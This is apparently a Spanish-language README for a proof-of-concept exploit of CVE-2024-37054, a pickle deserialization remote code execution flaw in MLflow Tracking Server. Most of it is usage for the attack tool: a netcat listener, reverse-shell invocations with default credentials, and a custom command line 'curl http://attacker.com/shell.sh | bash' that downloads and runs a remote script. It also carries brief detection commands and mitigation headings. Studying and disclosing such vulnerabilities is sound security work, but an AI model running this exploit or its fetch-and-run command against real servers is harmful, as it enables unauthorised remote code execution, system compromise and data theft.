
Prueba de concepto de exploit para CVE-2024-37054, una RCE por deserialización de pickle en MLflow Tracking Server. Atacantes autenticados pueden sobrescribir artefactos de modelos para lograr ejecución remota de código. Incluye orientación de detección y mitigación.
Prueba de concepto (PoC) para una vulnerabilidad crítica de deserialización de pickle en MLflow Tracking Server que permite la ejecución remota de código autenticada.
⚠️ Solo con fines educativos y pruebas de seguridad autorizadas. No lo utilices contra sistemas que no poseas o para los que no tengas permiso explícito por escrito.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2024-37054 |
| Puntuación CVSS | 8.8 (ALTA) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Versiones afectadas | MLflow < 2.14.3 |
| Versión corregida | MLflow ≥ 2.14.3 |
| Tipo de vulnerabilidad | CWE-502: Deserialización de datos no confiables |
| Vector de ataque | Red |
| Privilegios requeridos | Bajos (credenciales válidas) |
| Interacción del usuario | Ninguna |
MLflow Tracking Server deserializa artefactos de modelos mediante el módulo pickle de Python cuando carga modelos para inferencia. Un atacante autenticado puede sobrescribir el artefacto python_model.pkl en el repositorio de artefactos de MLflow con una carga útil de pickle maliciosa. Cuando el modelo se carga posteriormente (por ejemplo, durante una solicitud de predicción), la carga útil se deserializa y ejecuta código arbitrario en el servidor.
Requisitos previos para la explotación:
Una explotación exitosa produce ejecución remota de código con el nivel de privilegio del proceso del servidor MLflow, lo que puede derivar en el compromiso total del sistema, exfiltración de datos, movimiento lateral o acceso persistente.
python_model.pkl se reemplaza con una carga útil de pickle manipulada mediante PUT /api/2.0/mlflow-artifacts/artifacts/....pickle.load() sobre el artefacto comprometido.__reduce__ del pickle invoca os.system() y ejecuta el comando del atacante.La carga útil utiliza os.system() (un built-in de C) en lugar de cloudpickle para maximizar la compatibilidad entre versiones y evitar problemas de bytecode específicos de cada versión de Python.
Requisitos: Python 3.7+, requests
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054
# Iniciar un listener
nc -lvnp 4444
# Ejecutar el exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>
# Credenciales predeterminadas, reverse shell básico
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444
# Credenciales personalizadas de MLflow
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:MySecretPass123
# Inicio de sesión en la aplicación + credenciales de MLflow
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:password \
--app-username admin \
--app-password admin123
# Comando personalizado en lugar de reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--cmd "curl http://attacker.com/shell.sh | bash"
# Apuntar a un experimento específico, aumentar el retraso para servidores lentos
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--experiment-id 1 --delay 5
# Salida verbosa
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v
| Argumento | Descripción |
|---|---|
target | URL de la aplicación objetivo |
mlflow | URL del MLflow Tracking Server |
lhost | Host del atacante para el callback del reverse shell |
lport | Puerto del atacante para el callback del reverse shell |
--mlflow-creds USER:PASS | Credenciales de MLflow (predeterminado: admin:password) |
--app-username | Nombre de usuario para el inicio de sesión en la aplicación |
--app-password | Contraseña para el inicio de sesión en la aplicación |
--app-login-url | Ruta del endpoint de inicio de sesión |
--upload-url | Ruta del endpoint de subida |
--predict-url | Ruta del endpoint de predicción |
--experiment-id ID | Apuntar a un ID de experimento específico |
--delay SECONDS | Retraso entre pasos (predeterminado: 2s) |
--cmd COMMAND | Comando personalizado a ejecutar |
--verbose / --quiet | Control de verbosidad |
--no-color | Deshabilitar salida con colores |
PUT a endpoints /api/2.0/mlflow-artifacts/artifacts/python_model.pklPOST /api/2.0/mlflow/runs/search seguido inmediatamente de modificaciones de artefactosos.system() desde procesos de MLflow# Modificación de artefactos en los registros de acceso
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log
# Monitoreo de integridad de archivos
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts
Inmediata:
A largo plazo:
Esta herramienta está destinada únicamente para:
No utilices esta herramienta en ningún sistema que no poseas o para el que no tengas permiso explícito por escrito. El autor no asume ninguna responsabilidad por el mal uso.
MIT — consulta LICENSE para más detalles.